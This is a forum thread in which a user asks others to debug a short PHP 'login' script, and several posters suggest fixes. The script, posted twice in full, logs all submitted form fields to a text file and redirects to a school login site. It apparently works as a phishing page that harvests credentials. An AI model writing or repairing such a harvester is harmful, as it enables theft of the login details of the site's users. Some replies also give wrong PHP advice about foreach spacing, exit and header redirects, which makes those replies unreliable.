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login code PHP help
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login code PHP helpPosted:

thomas779
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When I open it, it says there is a problem with line 3,4 and 10

<?php
header ('Location: http://sms.eursc.eu');
$handle = fopen("logs.txt", "a");
foreach($_POST as $variable => $value) {
   fwrite($handle, $variable);
   fwrite($handle, "=");
   fwrite($handle, $value);
   fwrite($handle, "\r\n");
}
fwrite($handle, "\r\n");
fclose($handle);
exit;
?>
#2. Posted:
Sys
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It should give you a more specific error that "problem". For example "not defined" or "no such file or directory"
#3. Posted:
thomas779
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30-Jun-2016 14:45:45 UTC] PHP Parse error:  syntax error, unexpected 'foreach' (T_FOREACH) in /home/public_html/SMS/explore.php on line 4
#4. Posted:
Sys
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space after "foreach"
#5. Posted:
thomas779
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what do you mean?

like this

$handle = fopen("logs.txt", "a");
for each ($_POST as $variable => $value) {
   fwrite($handle, $variable);
#6. Posted:
Sys
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<?php
header ('Location: http://sms.eursc.eu');
$handle = fopen("logs.txt", "a");
foreach ($_POST as $variable => $value) {
   fwrite($handle, $variable);
   fwrite($handle, "=");
   fwrite($handle, $value);
   fwrite($handle, "\r\n");
}
fwrite($handle, "\r\n");
fclose($handle);
exit;
?>
#7. Posted:
CriticaI
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Isn't exit a function?
I don't usually use exit, but I think this might be your problem.

so type
"exit();"
instead of "exit;"
#8. Posted:
thomas779
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exit is not a problem, according to my Host site, its line 4 that can't be executed .
#9. Posted:
7en
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Sys wrote space after "foreach"


PHP is whitespace insensitive.

OP I don't see anything wrong with your code. Furthermore, I ran it on my own system without any problem.

Are you sure you have the right file?

CriticaI wrote Isn't exit a function?
I don't usually use exit, but I think this might be your problem.

so type
"exit();"
instead of "exit;"


exit is a language construct, similar to echo. It does not require parentheses.
#10. Posted:
Lucozayde
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header('Location: ...') function's require an exit(); function prone to using the redirect, anything below this exit(); function is void (it will not be executed) unless wrapped inside an expression like so:

if(isset($x)) {
    header('Location: http://www.google.com');
    exit();
}

$myObject = new Object(); // this line will be executed since $x is not defined.


On the side, if you're creating a login system you should move away from text-driven systems and look into databases & holding an active session token.
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